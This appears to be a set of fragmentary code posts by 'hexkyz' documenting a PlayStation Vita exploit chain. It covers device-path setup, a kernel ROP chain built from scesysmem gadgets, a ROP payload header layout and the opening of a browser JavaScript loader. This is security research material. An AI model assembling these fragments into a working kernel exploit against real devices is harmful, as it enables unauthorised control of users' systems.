hexkyz

strcpy(stack_base + 0x000086B4, "sdstor0:");
strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext");

// Do stuff
...

strcpy(stack_base + 0x000086E4, "molecule0:");

SceLibKernel_a4ad("molecule0:");
SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014);

hexkyz

// Copy SD card device path and param
strcpy(x_stack + 0x000086B4, "sdstor0:");
strcpy(x_stack + 0x000086CC, "xmc-lp-ign-userext");

// Clear devctl 0x05 outbuf
// From x_stack + 0x00006F34 to x_stack + 0x00007334
memset(x_stack + 0x00006F34, 0x00000000, 0x00000400);

// Copy dummy device path
strcpy(x_stack + 0x000086E4, "molecule0:");

hexkyz

// Kernel ROP chain
/*
scesysmem_base + 0x00000347
POP             {PC}
*/
0x00(x_stack + 0x00008A8C) = scesysmem_base + 0x00000031    // PC

/*
scesysmem_base + 0x00000031
POP             {R0,PC}

hexkyz

[HEADER] (0x40 bytes)
0x524f507e -> ROP~
0x01000100 -> Version
0x00000000 -> NULL
0x00000000 -> NULL
0x00000730 -> No reloc
0x00000000 -> NULL
0x00000000 -> NULL
0x00000000 -> NULL
0x000003F8 -> No reloc

hexkyz

<script src='payload.js'></script>
 
<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
 
var m = 0x40 + payload[16/4];  /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4;                /* 476 */